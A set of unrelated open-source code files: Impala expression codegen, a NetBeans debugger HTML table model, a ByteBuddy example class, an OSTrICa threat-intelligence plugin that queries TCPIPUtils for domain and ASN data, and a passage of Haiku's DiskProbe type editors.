%row) /// ret i16 %then_val /// /// return_else: ; preds = %eval_condition, %is_condition_null /// %else_val = call i16 @NullLiteral(%"class.impala::ScalarExprEvaluator"* %eval, /// %"class.impala::TupleRow"* %row) /// ret i16 %else_val /// } Status IfExpr::GetCodegendComputeFnImpl(LlvmCodeGen* codegen, llvm::Function** fn) { constexpr int IF_NUM_CHILDREN = 3; DCHECK_EQ(IF_NUM_CHILDREN, GetNumChildren()); llvm::Function* child_fns[IF_NUM_CHILDREN]; for (int i = 0; i < IF_NUM_CHILDREN; ++i) { RETURN_IF_ERROR(GetChild(i)->GetCodegendComputeFn(codegen, false, &child_fns[i])); } llvm::LLVMContext& context = codegen->context(); LlvmBuilder builder(context); llvm::Value* args[2]; llvm::Function* function = CreateIrFunctionPrototype("IfExpr", codegen, &args); llvm::BasicBlock* is_condition_null_block = llvm::BasicBlock::Create( context, "is_condition_null", function); llvm::BasicBlock* eval_condition_block = llvm::BasicBlock::Create( context, "eval_condition", function); llvm::BasicBlock* return_then_block = llvm::BasicBlock::Create( context, "return_then", function); llvm::BasicBlock* return_else_block = llvm::BasicBlock::Create( context, "return_else", function); // Check if the condition is a null value. builder.SetInsertPoint(is_condition_null_block); CodegenAnyVal condition = CodegenAnyVal::CreateCallWrapped( codegen, &builder, children()[0]->type(), child_fns[0], args, "condition"); builder.CreateCondBr( condition.GetIsNull(), return_else_block, eval_condition_block); // Condition is non-null, branch according to its value. builder.SetInsertPoint(eval_condition_block); builder.CreateCondBr(condition.GetVal(), return_then_block, return_else_block); // Eval and return then value. builder.SetInsertPoint(return_then_block); llvm::Value* then_val = CodegenAnyVal::CreateCall(codegen, &builder, child_fns[1], args, "then_val"); builder.CreateRet(then_val); // Eval and return else value. builder.SetInsertPoint(return_else_block); llvm::Value* else_val = CodegenAnyVal::CreateCall(codegen, &builder, child_fns[2], args, "else_val"); builder.CreateRet(else_val); *fn = codegen->FinalizeFunction(function); if (UNLIKELY(*fn == nullptr)) return Status(TErrorCode::IR_VERIFY_FAILED, "IfExpr"); return Status::OK(); } /// Sample IR output for three columns: /// define i64 @CoalesceExpr(%"class.impala::ScalarExprEvaluator"* %eval, /// %"class.impala::TupleRow"* %row) #47 { /// is_child_null: /// %child = call i64 @GetSlotRef(%"class.impala::ScalarExprEvaluator"* %eval, /// %"class.impala::TupleRow"* %row) /// %is_null = trunc i64 %child to i1 /// br i1 %is_null, label %is_child_null1, label %return_val /// /// is_child_null1: ; preds = %is_child_null /// %child4 = call i64 @GetSlotRef.4(%"class.impala::ScalarExprEvaluator"* %eval, /// %"class.impala::TupleRow"* %row) /// %is_null5 = trunc i64 %child4 to i1 /// br i1 %is_null5, label %return_last_value, label %return_val3 /// /// return_val: ; preds = %is_child_null /// ret i64 %child /// /// return_last_value: ; preds = %is_child_null1 /// %last_child = call i64 @GetSlotRef.5(%"class.impala::ScalarExprEvaluator"* %eval, /// %"class.impala::TupleRow"* %row) /// ret i64 %last_child /// /// return_val3: ; preds = %is_child_null1 /// ret i64 %child4 /// } Status CoalesceExpr::GetCodegendComputeFnImpl(LlvmCodeGen* codegen, llvm::Function** fn) { const int num_children = GetNumChildren(); DCHECK_GE(num_children, 1); vector<llvm::Function*> child_fns(num_children, nullptr); for (int i = 0; i < num_children; ++i) { RETURN_IF_ERROR(GetChild(i)->GetCodegendComputeFn(codegen, false, &child_fns[i])); } llvm::LLVMContext& context = codegen->context(); LlvmBuilder builder(context); llvm::Value* args[2]; llvm::Function* function = CreateIrFunctionPrototype("CoalesceExpr", codegen, &args); // The entry block to the function, Checks whether the first child is null. // To be filled later in the loop. llvm::BasicBlock* is_child_null_block = llvm::BasicBlock::Create( context, "is_child_null", function); llvm::BasicBlock* current_null_check_block = is_child_null_block; llvm::BasicBlock* next_null_check_block = nullptr; // Loops through all children except the last. The next block in case of a null value is // always a new "is_child_null" block. for (int i = 0; i < num_children - 1; ++i) { next_null_check_block = llvm::BasicBlock::Create(context, "is_child_null", function); // The block that returns the value of the child if it is not null. llvm::BasicBlock* return_val_block = llvm::BasicBlock::Create(context, "return_val", function); builder.SetInsertPoint(current_null_check_block); CodegenAnyVal child = CodegenAnyVal::CreateCallWrapped( codegen, &builder, children()[i]->type(), child_fns[i], args, "child"); builder.CreateCondBr( child.GetIsNull(), next_null_check_block, return_val_block); builder.SetInsertPoint(return_val_block); builder.CreateRet(child.GetLoweredValue()); current_null_check_block = next_null_check_block; } // Handle the last child. We can return it directly because if it is null, we need to // return null anyway. llvm::BasicBlock* return_last_value_block = current_null_check_block; return_last_value_block->setName("return_last_value"); builder.SetInsertPoint(return_last_value_block); llvm::Value* last_child = CodegenAnyVal::CreateCall( codegen, &builder, child_fns[num_children - 1], args, "last_child"); builder.CreateRet(last_child); *fn = codegen->FinalizeFunction(function); if (UNLIKELY(*fn == nullptr)) { return Status(TErrorCode::IR_VERIFY_FAILED, "CoalesceExpr"); } return Status::OK(); } /// Sample IR output: /// define { i8, i64 } @IsNullExpr(%"class.impala::ScalarExprEvaluator"* %eval, /// %"class.impala::TupleRow"* %row) #47 { /// is_first_value_null: /// %first_value = call { i8, i64 } @GetSlotRef( /// %"class.impala::ScalarExprEvaluator"* %eval, %"class.impala::TupleRow"* %row) /// %0 = extractvalue { i8, i64 } %first_value, 0 /// %is_null = trunc i8 %0 to i1 /// br i1 %is_null, label %return_second_value, label %return_first_value /// /// return_first_value: ; preds = %is_first_value_null /// ret { i8, i64 } %first_value /// /// return_second_value: ; preds = %is_first_value_null /// %second_value = call { i8, i64 } @Literal( /// %"class.impala::ScalarExprEvaluator"* %eval, %"class.impala::TupleRow"* %row) /// ret { i8, i64 } %second_value /// } Status IsNullExpr::GetCodegendComputeFnImpl(LlvmCodeGen* codegen, llvm::Function** fn) { constexpr int NUM_CHILDREN = 2; DCHECK_EQ(NUM_CHILDREN, GetNumChildren()); llvm::Function* child_fns[NUM_CHILDREN]; for (int i = 0; i < NUM_CHILDREN; ++i) { RETURN_IF_ERROR(GetChild(i)->GetCodegendComputeFn(codegen, false, &child_fns[i])); } llvm::LLVMContext& context = codegen->context(); LlvmBuilder builder(context); llvm::Value* args[2]; llvm::Function* function = CreateIrFunctionPrototype("IsNullExpr", codegen, &args); llvm::BasicBlock* is_first_value_null_block = llvm::BasicBlock::Create( context, "is_first_value_null", function); llvm::BasicBlock* return_first_value_block = llvm::BasicBlock::Create( context, "return_first_value", function); llvm::BasicBlock* return_second_value_block = llvm::BasicBlock::Create( context, "return_second_value", function); // Check if the first child is null. builder.SetInsertPoint(is_first_value_null_block); CodegenAnyVal first_value = CodegenAnyVal::CreateCallWrapped( codegen, &builder, children()[0]->type(), child_fns[0], args, "first_value"); builder.CreateCondBr( first_value.GetIsNull(), return_second_value_block, return_first_value_block); builder.SetInsertPoint(return_first_value_block); builder.CreateRet(first_value.GetLoweredValue()); builder.SetInsertPoint(return_second_value_block); llvm::Value* second_value = CodegenAnyVal::CreateCall( codegen, &builder, child_fns[1], args, "second_value"); builder.CreateRet(second_value); *fn = codegen->FinalizeFunction(function); if (UNLIKELY(*fn == nullptr)) return Status(TErrorCode::IR_VERIFY_FAILED, "IsNullExpr"); return Status::OK(); } /// Definitions of Get*ValInterpreted functions. #define IS_NULL_COMPUTE_FUNCTION(type) \ type IsNullExpr::Get##type##Interpreted( \ ScalarExprEvaluator* eval, const TupleRow* row) const { \ DCHECK_EQ(children_.size(), 2); \ type val = GetChild(0)->Get##type(eval, row); \ if (!val.is_null) return val; /* short-circuit */ \ return GetChild(1)->Get##type(eval, row); \ } IS_NULL_COMPUTE_FUNCTION(BooleanVal); IS_NULL_COMPUTE_FUNCTION(TinyIntVal); IS_NULL_COMPUTE_FUNCTION(SmallIntVal); IS_NULL_COMPUTE_FUNCTION(IntVal); IS_NULL_COMPUTE_FUNCTION(BigIntVal); IS_NULL_COMPUTE_FUNCTION(FloatVal); IS_NULL_COMPUTE_FUNCTION(DoubleVal); IS_NULL_COMPUTE_FUNCTION(StringVal); IS_NULL_COMPUTE_FUNCTION(TimestampVal); IS_NULL_COMPUTE_FUNCTION(DecimalVal); IS_NULL_COMPUTE_FUNCTION(DateVal); #define IF_COMPUTE_FUNCTION(type) \ type IfExpr::Get##type##Interpreted( \ ScalarExprEvaluator* eval, const TupleRow* row) const { \ DCHECK_EQ(children_.size(), 3); \ BooleanVal cond = GetChild(0)->GetBooleanVal(eval, row); \ if (cond.is_null || !cond.val) { \ return GetChild(2)->Get##type(eval, row); \ } \ return GetChild(1)->Get##type(eval, row); \ } IF_COMPUTE_FUNCTION(BooleanVal); IF_COMPUTE_FUNCTION(TinyIntVal); IF_COMPUTE_FUNCTION(SmallIntVal); IF_COMPUTE_FUNCTION(IntVal); IF_COMPUTE_FUNCTION(BigIntVal); IF_COMPUTE_FUNCTION(FloatVal); IF_COMPUTE_FUNCTION(DoubleVal); IF_COMPUTE_FUNCTION(StringVal); IF_COMPUTE_FUNCTION(TimestampVal); IF_COMPUTE_FUNCTION(DecimalVal); IF_COMPUTE_FUNCTION(DateVal); #define COALESCE_COMPUTE_FUNCTION(type) \ type CoalesceExpr::Get##type##Interpreted( \ ScalarExprEvaluator* eval, const TupleRow* row) const { \ DCHECK_GE(children_.size(), 1); \ for (int i = 0; i < children_.size(); ++i) { \ type val = GetChild(i)->Get##type(eval, row); \ if (!val.is_null) return val; \ } \ return type::null(); \ } COALESCE_COMPUTE_FUNCTION(BooleanVal); COALESCE_COMPUTE_FUNCTION(TinyIntVal); COALESCE_COMPUTE_FUNCTION(SmallIntVal); COALESCE_COMPUTE_FUNCTION(IntVal); COALESCE_COMPUTE_FUNCTION(BigIntVal); COALESCE_COMPUTE_FUNCTION(FloatVal); COALESCE_COMPUTE_FUNCTION(DoubleVal); COALESCE_COMPUTE_FUNCTION(StringVal); COALESCE_COMPUTE_FUNCTION(TimestampVal); COALESCE_COMPUTE_FUNCTION(DecimalVal); COALESCE_COMPUTE_FUNCTION(DateVal);
5,283
1,056
<reponame>timfel/netbeans /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.modules.debugger.jpda.ui.models; import java.awt.Color; import org.netbeans.api.debugger.jpda.JPDAWatch; import org.netbeans.api.debugger.jpda.Variable; import org.netbeans.spi.debugger.DebuggerServiceRegistration; import org.netbeans.spi.debugger.DebuggerServiceRegistrations; import org.netbeans.spi.debugger.ui.Constants; import org.netbeans.spi.viewmodel.ModelListener; import org.netbeans.spi.viewmodel.TableHTMLModel; import org.netbeans.spi.viewmodel.TableHTMLModelFilter; import org.netbeans.spi.viewmodel.UnknownTypeException; /** * * @author <NAME> */ @DebuggerServiceRegistrations({ @DebuggerServiceRegistration(path="netbeans-JPDASession/LocalsView", types=TableHTMLModelFilter.class, position=50), @DebuggerServiceRegistration(path="netbeans-JPDASession/ResultsView", types=TableHTMLModelFilter.class, position=50), @DebuggerServiceRegistration(path="netbeans-JPDASession/ToolTipView", types=TableHTMLModelFilter.class, position=50), @DebuggerServiceRegistration(path="netbeans-JPDASession/WatchesView", types=TableHTMLModelFilter.class, position=50) }) public class VariablesTableHTMLModel implements TableHTMLModelFilter, Constants { @Override public boolean hasHTMLValueAt(TableHTMLModel original, Object node, String columnID) throws UnknownTypeException { if (original.hasHTMLValueAt(node, columnID)) { return true; } if ( LOCALS_VALUE_COLUMN_ID.equals (columnID) || WATCH_VALUE_COLUMN_ID.equals (columnID) ) { if (node instanceof Variable) { String errorMsg = VariablesTableModel.getErrorValueMsg(((Variable) node)); if (errorMsg != null) { return true; } } } if ( LOCALS_TO_STRING_COLUMN_ID.equals (columnID) || WATCH_TO_STRING_COLUMN_ID.equals (columnID) ) { if (node instanceof Variable) { String errorMsg = VariablesTableModel.getErrorToStringMsg(((Variable) node)); if (errorMsg != null) { return true; } } } return false; } @Override public String getHTMLValueAt(TableHTMLModel original, Object node, String columnID) throws UnknownTypeException { if (original.hasHTMLValueAt(node, columnID)) { return original.getHTMLValueAt(node, columnID); } if ( LOCALS_VALUE_COLUMN_ID.equals (columnID) || WATCH_VALUE_COLUMN_ID.equals (columnID) ) { if (node instanceof Variable) { String errorMsg = VariablesTableModel.getErrorValueMsg(((Variable) node)); if (errorMsg != null) { return BoldVariablesTableModelFilter.toHTML(">" + errorMsg + "<", false, false, Color.RED); } } } if ( LOCALS_TO_STRING_COLUMN_ID.equals (columnID) || WATCH_TO_STRING_COLUMN_ID.equals (columnID) ) { if (node instanceof Variable) { String errorMsg = VariablesTableModel.getErrorToStringMsg(((Variable) node)); if (errorMsg != null) { return BoldVariablesTableModelFilter.toHTML(">" + errorMsg + "<", false, false, Color.RED); } } } return original.getHTMLValueAt(node, columnID); } @Override public void addModelListener(ModelListener l) { } @Override public void removeModelListener(ModelListener l) { } }
2,018
32,544
<gh_stars>1000+ package com.baeldung.bytebuddy; import net.bytebuddy.implementation.bind.annotation.BindingPriority; public class Bar { @BindingPriority(3) public static String sayHelloBar() { return "Holla in Bar!"; } @BindingPriority(2) public static String sayBar() { return "bar"; } public String bar() { return Bar.class.getSimpleName() + " - Bar"; } }
173
328
#------------------------------------------------------------------------------- # Name: OSTrICa - Open Source Threat Intelligence Collector - TCPIPUtils Plugin # Purpose: Collection and visualization of Threat Intelligence data # # Author: <NAME> - <<EMAIL>> @Ptr32Void # # Created: 20/12/2015 # Licence: This file is part of OSTrICa. # # OSTrICa is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # OSTrICa is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with OSTrICa. If not, see <http://www.gnu.org/licenses/>. #------------------------------------------------------------------------------- import httplib import string import socket import gzip import re import StringIO from bs4 import BeautifulSoup from ostrica.utilities.cfg import Config as cfg extraction_type = [cfg.intelligence_type['domain'], cfg.intelligence_type['asn']] enabled = True version = 0.1 developer = '<NAME> <<EMAIL>>' description = 'Plugin used to collect information about domains or ASNs on TCPIPUtils' visual_data = True class TCPIPUtils(object): def __init__(self): self.host = 'www.utlsapi.com' self.asn_host = 'www.tcpiputils.com' self.version = '1.0' self.extversion = '0.1' self.intelligence = {} pass def __del__(self): if cfg.DEBUG: print 'cleanup TCPIPutils...' self.intelligence = {} def asn_information(self, asn): query = '/browse/as/%s' % (asn) hhandle = httplib.HTTPConnection(self.asn_host, timeout=cfg.timeout) hhandle.putrequest('GET', query) hhandle.putheader('Connection', 'keep-alive') hhandle.putheader('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8') hhandle.putheader('Accept-Encoding', 'gzip, deflate, sdch') hhandle.putheader('User-Agent', cfg.user_agent) hhandle.putheader('Accept-Language', 'en-GB,en-US;q=0.8,en;q=0.6') hhandle.endheaders() response = hhandle.getresponse() if (response.status == 200): if response.getheader('Content-Encoding') == 'gzip': content = StringIO.StringIO(response.read()) server_response = gzip.GzipFile(fileobj=content).read() if (server_response.find('No valid IPv4 address found!') != 1): self.extract_asn_intelligence(server_response) return True else: return False else: return False def domain_information(self, domain): query = '/plugin.php?version=%s&type=ipv4info&hostname=%s&source=chromeext&extversion=%s' % (self.version, domain, self.extversion) hhandle = httplib.HTTPSConnection(self.host, timeout=cfg.timeout) hhandle.putrequest('GET', query) hhandle.putheader('Connection', 'keep-alive') hhandle.putheader('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8') hhandle.putheader('Accept-Encoding', 'gzip, deflate, sdch') hhandle.putheader('User-Agent', cfg.user_agent) hhandle.putheader('Accept-Language', 'en-GB,en-US;q=0.8,en;q=0.6') hhandle.endheaders() response = hhandle.getresponse() if (response.status == 200): if response.getheader('Content-Encoding') == 'gzip': content = StringIO.StringIO(response.read()) server_response = gzip.GzipFile(fileobj=content).read() if (server_response.find('No valid IPv4 address found!') != 1): self.extract_domain_intelligence(server_response) return True else: return False else: return False def extract_domain_intelligence(self, server_response): ip_address = False description = False location = False subnet = False asn_number = False soup = BeautifulSoup(server_response, 'html.parser') all_tds = soup.findAll('td') for td in all_tds: if td.get_text() == unicode('IP address'): ip_address = True continue elif td.get_text() == unicode('Description'): description = True continue elif td.get_text() == unicode('Location'): location = True continue elif td.get_text() == unicode('IP-range/subnet'): subnet = True continue elif td.get_text() == unicode('ASN number'): asn_number = True continue if ip_address == True: if 'ip_address' not in self.intelligence.keys(): self.intelligence['ip_address'] = td.get_text() ip_address = False continue elif description == True: if 'description' not in self.intelligence.keys(): self.intelligence['description'] = td.get_text() description = False continue elif location == True: if 'location' not in self.intelligence.keys(): self.intelligence['location'] = td.get_text().replace(u'\xa0', '') location = False continue elif subnet == True: if 'subnet' not in self.intelligence.keys(): self.intelligence['subnet'] = td.contents[2] self.intelligence['subnet_cidr'] = td.contents[0].get_text() subnet = False continue elif asn_number == True: if 'asn_number' not in self.intelligence.keys(): self.intelligence['asn_number'] = td.get_text() location = False continue if 'ip_address' not in self.intelligence.keys(): self.intelligence['ip_address'] = '' if 'description' not in self.intelligence.keys(): self.intelligence['description'] = '' if 'location' not in self.intelligence.keys(): self.intelligence['location'] = '' if 'subnet' not in self.intelligence.keys(): self.intelligence['subnet'] = '' if 'asn_number' not in self.intelligence.keys(): self.intelligence['asn_number'] = '' if 'n_domains' not in self.intelligence.keys(): self.intelligence['n_domains'] = '' if 'adult_domains' not in self.intelligence.keys(): self.intelligence['adult_domains'] = '' if 'name_servers' not in self.intelligence.keys(): self.intelligence['name_servers'] = '' if 'spam_hosts' not in self.intelligence.keys(): self.intelligence['spam_hosts'] = '' if 'open_proxies' not in self.intelligence.keys(): self.intelligence['open_proxies'] = '' if 'mail_servers' not in self.intelligence.keys(): self.intelligence['mail_servers'] = '' def extract_mailservers_associated_to_asn(self, soup): mail_servers = [] idx = 0 all_tds = soup.findAll('td') while idx < len(all_tds): if all_tds[idx].get_text() == unicode('See more items'): idx += 1 continue elif all_tds[idx].get_text().find(u'Note:') != -1: break mail_servers.append(all_tds[idx].get_text()) idx += 3 self.intelligence['mail_servers'] = mail_servers def extract_domains_associated_to_asn(self, soup): associated_domains = [] idx = 0 all_tds = soup.findAll('td') while idx < len(all_tds): if all_tds[idx].get_text() == unicode('See more items'): idx += 1 continue elif all_tds[idx].get_text().find(u'Note:') != -1: break domain_name = all_tds[idx].get_text() idx += 1 ip_address = all_tds[idx].get_text() idx += 1 associated_domains.append((domain_name, ip_address)) self.intelligence['associated_domains'] = associated_domains def extract_asn_intelligence(self, server_response): n_domains = False adult_domains = False name_servers = False spam_hosts = False open_proxies = False mail_servers = False soup = BeautifulSoup(server_response, 'html.parser') if not soup.findAll(text=re.compile(r'No hosted mail servers found on')): self.extract_mailservers_associated_to_asn(soup.findAll('table')[6]) # mail servers if not soup.findAll(text=re.compile(r'No hosted domains found on')): self.extract_domains_associated_to_asn(soup.findAll('table')[4]) # domains all_tds = soup.findAll('td') for td in all_tds: if td.get_text() == unicode('Number of domains hosted'): n_domains = True continue elif td.get_text() == unicode('Number of adult domains hosted'): adult_domains = True continue elif td.get_text() == unicode('Number of name servers hosted'): name_servers = True continue elif td.get_text() == unicode('Number of SPAM hosts hosted'): spam_hosts = True continue elif td.get_text() == unicode('Number of open proxies hosted'): open_proxies = True continue elif td.get_text() == unicode('Number of mail servers hosted'): mail_servers = True continue if n_domains == True: if 'n_domains' not in self.intelligence.keys(): self.intelligence['n_domains'] = td.get_text() n_domains = False continue elif adult_domains == True: if 'adult_domains' not in self.intelligence.keys(): self.intelligence['adult_domains'] = td.get_text() adult_domains = False continue elif name_servers == True: if 'name_servers' not in self.intelligence.keys(): self.intelligence['name_servers'] = td.get_text() name_servers = False continue elif spam_hosts == True: if 'spam_hosts' not in self.intelligence.keys(): self.intelligence['spam_hosts'] = td.get_text() spam_hosts = False continue elif open_proxies == True: if 'open_proxies' not in self.intelligence.keys(): self.intelligence['open_proxies'] = td.get_text() open_proxies = False continue elif mail_servers == True: if 'mail_servers' not in self.intelligence.keys(): self.intelligence['mail_servers'] = td.get_text() mail_servers = False continue if 'ip_address' not in self.intelligence.keys(): self.intelligence['ip_address'] = '' if 'description' not in self.intelligence.keys(): self.intelligence['description'] = '' if 'location' not in self.intelligence.keys(): self.intelligence['location'] = '' if 'subnet' not in self.intelligence.keys(): self.intelligence['subnet'] = '' if 'asn_number' not in self.intelligence.keys(): self.intelligence['asn_number'] = '' if 'n_domains' not in self.intelligence.keys(): self.intelligence['n_domains'] = '' if 'adult_domains' not in self.intelligence.keys(): self.intelligence['adult_domains'] = '' if 'name_servers' not in self.intelligence.keys(): self.intelligence['name_servers'] = '' if 'spam_hosts' not in self.intelligence.keys(): self.intelligence['spam_hosts'] = '' if 'open_proxies' not in self.intelligence.keys(): self.intelligence['open_proxies'] = '' if 'mail_servers' not in self.intelligence.keys(): self.intelligence['mail_servers'] = '' def run(intelligence, extraction_type): if cfg.DEBUG: print 'Running TCPIPUtils() on %s' % intelligence intel_collector = TCPIPUtils() if extraction_type == cfg.intelligence_type['domain']: if intel_collector.domain_information(intelligence) == True: collected_intel = extracted_information(extraction_type, intel_collector.intelligence) del intel_collector return collected_intel elif extraction_type == cfg.intelligence_type['asn']: if intel_collector.asn_information(intelligence) == True: collected_intel = extracted_information(extraction_type, intel_collector.intelligence) del intel_collector return collected_intel else: return {} def extracted_information(extraction_type, intelligence_dictionary): return {'extraction_type': extraction_type, 'intelligence_information':intelligence_dictionary} def data_visualization(nodes, edges, json_data): if json_data['plugin_name'] == 'TCPIPutils': visual_report = TCPIPutilsVisual(nodes, edges, json_data) return visual_report.nodes, visual_report.edges else: return nodes, edges class TCPIPutilsVisual: def __init__(self, ext_nodes, ext_edges, intel): self.nodes = ext_nodes self.edges = ext_edges self.json_data = intel self.visual_report_dictionary = {} self.origin = '' self.color = '#bf00ff' if self.parse_intelligence() != False: self.parse_visual_data() def parse_intelligence(self): if self.json_data['intelligence'] is None: return False if 'asn' in self.json_data['intelligence']['intelligence_information']: asn = self.json_data['intelligence']['intelligence_information']['asn_number'] else: asn = '' if 'ip_address' in self.json_data['intelligence']['intelligence_information']: ip_address = self.json_data['intelligence']['intelligence_information']['ip_address'] else: ip_address = '' if self.json_data['requested_intel'] not in self.visual_report_dictionary.keys(): self.visual_report_dictionary[self.json_data['requested_intel']] = {'TCPIPutils': [{'asn': asn}, {'ip_address': ip_address}]} else: self.visual_report_dictionary[self.json_data['requested_intel']].update({'TCPIPutils': [{'asn': asn}, {'ip_address': ip_address}]}) self.origin = self.json_data['requested_intel'] if self.origin not in self.edges.keys(): self.edges.setdefault(self.origin, []) def parse_visual_data(self): for intel in self.visual_report_dictionary[self.origin]['TCPIPutils']: for key, value in intel.iteritems(): if key == 'asn': self._manage_tcpiputils_asn(value) elif key == 'ip_address': self._manage_tcpiputils_ip_address(value) def _manage_tcpiputils_asn(self, asn): size = 30 if asn in self.nodes.keys(): self.nodes[asn] = (self.nodes[asn][0] + 5, self.nodes[asn][1], 'asn') else: self.nodes[asn] = (size, self.color, 'asn') if asn not in self.edges[self.origin]: self.edges[self.origin].append(asn) def _manage_tcpiputils_ip_address(self, ip): size = 30 if ip in self.nodes.keys(): self.nodes[ip] = (self.nodes[ip][0] + 5, self.nodes[ip][1], 'ip') else: self.nodes[ip] = (size, self.color, 'ip') if ip not in self.edges[self.origin]: self.edges[self.origin].append(ip)
7,605
1,338
/* * Copyright 2004-2008, <NAME>, <EMAIL>. All rights reserved. * Distributed under the terms of the MIT License. */ #include "TypeEditors.h" #include "DataEditor.h" #include <stdio.h> #include <stdlib.h> #include <Alert.h> #include <Autolock.h> #include <Bitmap.h> #include <Catalog.h> #include <IconUtils.h> #include <LayoutBuilder.h> #include <Locale.h> #include <MenuField.h> #include <MenuItem.h> #include <Mime.h> #include <PopUpMenu.h> #include <ScrollBar.h> #include <ScrollView.h> #include <Slider.h> #include <String.h> #include <StringView.h> #include <TextControl.h> #include <TextView.h> #include <TranslationUtils.h> #include <TranslatorFormats.h> #undef B_TRANSLATION_CONTEXT #define B_TRANSLATION_CONTEXT "TypeEditors" static const uint32 kMsgValueChanged = 'vlch'; static const uint32 kMsgScaleChanged = 'scch'; static const uint32 kMimeTypeItem = 'miti'; class StringEditor : public TypeEditorView { public: StringEditor(DataEditor& editor); virtual void AttachedToWindow(); virtual void DetachedFromWindow(); virtual void MessageReceived(BMessage* message); virtual void CommitChanges(); private: void _UpdateText(); BTextView* fTextView; BString fPreviousText; }; class MimeTypeEditor : public TypeEditorView { public: MimeTypeEditor(BRect rect, DataEditor& editor); virtual void AttachedToWindow(); virtual void DetachedFromWindow(); virtual void MessageReceived(BMessage* message); virtual void CommitChanges(); virtual bool TypeMatches(); private: void _UpdateText(); BTextControl* fTextControl; BString fPreviousText; }; class NumberEditor : public TypeEditorView { public: NumberEditor(BRect rect, DataEditor& editor); virtual void AttachedToWindow(); virtual void DetachedFromWindow(); virtual void MessageReceived(BMessage* message); virtual void CommitChanges(); virtual bool TypeMatches(); private: void _UpdateText(); const char* _TypeLabel(); status_t _Format(char* buffer); size_t _Size(); BTextControl* fTextControl; BString fPreviousText; }; class BooleanEditor : public TypeEditorView { public: BooleanEditor(BRect rect, DataEditor& editor); virtual void AttachedToWindow(); virtual void DetachedFromWindow(); virtual void MessageReceived(BMessage* message); virtual void CommitChanges(); virtual bool TypeMatches(); private: void _UpdateMenuField(); BMenuItem* fFalseMenuItem; BMenuItem* fTrueMenuItem; }; class ImageView : public TypeEditorView { public: ImageView(DataEditor &editor); virtual ~ImageView(); virtual void AttachedToWindow(); virtual void DetachedFromWindow(); virtual void MessageReceived(BMessage *message); virtual void Draw(BRect updateRect); private: void _UpdateImage(); BBitmap* fBitmap; BStringView* fDescriptionView; BSlider* fScaleSlider; }; class MessageView : public TypeEditorView { public: MessageView(BRect rect, DataEditor& editor); virtual ~MessageView(); virtual void AttachedToWindow(); virtual void DetachedFromWindow(); virtual void MessageReceived(BMessage* message); void SetTo(BMessage& message); private: BString _TypeToString(type_code type); void _UpdateMessage(); BTextView* fTextView; }; // #pragma mark - TypeEditorView TypeEditorView::TypeEditorView(BRect rect, const char *name, uint32 resizingMode, uint32 flags, DataEditor& editor) : BView(rect, name, resizingMode, flags), fEditor(editor) { } TypeEditorView::TypeEditorView(const char *name, uint32 flags, DataEditor& editor) : BView(name, flags), fEditor(editor) { } TypeEditorView::~TypeEditorView() { } void TypeEditorView::CommitChanges() { // the default just does nothing here } bool TypeEditorView::TypeMatches() { // the default is to accept anything that easily fits into memory system_info info; get_system_info(&info); return uint64(fEditor.FileSize()) / B_PAGE_SIZE < info.max_pages / 2; } // #pragma mark - StringEditor StringEditor::StringEditor(DataEditor& editor) : TypeEditorView(B_TRANSLATE("String editor"), 0, editor) { SetViewUIColor(B_PANEL_BACKGROUND_COLOR); SetLayout(new BGroupLayout(B_VERTICAL)); BStringView *stringView = new BStringView(B_EMPTY_STRING, B_TRANSLATE("Contents:")); stringView->ResizeToPreferred(); AddChild(stringView); fTextView = new BTextView(B_EMPTY_STRING, B_WILL_DRAW); BScrollView* scrollView = new BScrollView("scroller", fTextView, B_WILL_DRAW, true, true); AddChild(scrollView); } void StringEditor::_UpdateText() { BAutolock locker(fEditor); size_t viewSize = fEditor.ViewSize(); // that may need some more memory... if ((off_t)viewSize < fEditor.FileSize()) fEditor.SetViewSize(fEditor.FileSize()); const char *buffer; if (fEditor.GetViewBuffer((const uint8 **)&buffer) == B_OK) { fTextView->SetText(buffer); fPreviousText.SetTo(buffer); } // restore old view size fEditor.SetViewSize(viewSize); } void StringEditor::CommitChanges() { if (fPreviousText != fTextView->Text()) { fEditor.Replace(0, (const uint8 *)fTextView->Text(), fTextView->TextLength() + 1); } } void StringEditor::AttachedToWindow() { fEditor.StartWatching(this); _UpdateText(); } void StringEditor::DetachedFromWindow() { fEditor.StopWatching(this); CommitChanges(); } void StringEditor::MessageReceived(BMessage *message) { BView::MessageReceived(message); } // #pragma mark - MimeTypeEditor MimeTypeEditor::MimeTypeEditor(BRect rect, DataEditor& editor) : TypeEditorView(rect, B_TRANSLATE("MIME type editor"), B_FOLLOW_LEFT_RIGHT, 0, editor) { SetViewUIColor(B_PANEL_BACKGROUND_COLOR); fTextControl = new BTextControl(rect.InsetByCopy(5, 5), B_EMPTY_STRING, B_TRANSLATE("MIME type:"), NULL, new BMessage(kMsgValueChanged), B_FOLLOW_ALL); fTextControl->SetDivider(StringWidth(fTextControl->Label()) + 8); float width, height; fTextControl->GetPreferredSize(&width, &height); fTextControl->ResizeTo(rect.Width() - 10, height); ResizeTo(rect.Width(), height + 10); AddChild(fTextControl); } void MimeTypeEditor::_UpdateText() { BAutolock locker(fEditor); const char* mimeType; if (fEditor.GetViewBuffer((const uint8 **)&mimeType) == B_OK) { fTextControl->SetText(mimeType); fPreviousText.SetTo(mimeType); } } void MimeTypeEditor::CommitChanges() { if (fPreviousText != fTextControl->Text()) { fEditor.Replace(0, (const uint8*)fTextControl->Text(), strlen(fTextControl->Text()) + 1); } } bool MimeTypeEditor::TypeMatches() { // TODO: check contents? return fEditor.FileSize() <= B_MIME_TYPE_LENGTH; } void MimeTypeEditor::AttachedToWindow() { fTextControl->SetTarget(this); fEditor.StartWatching(this); 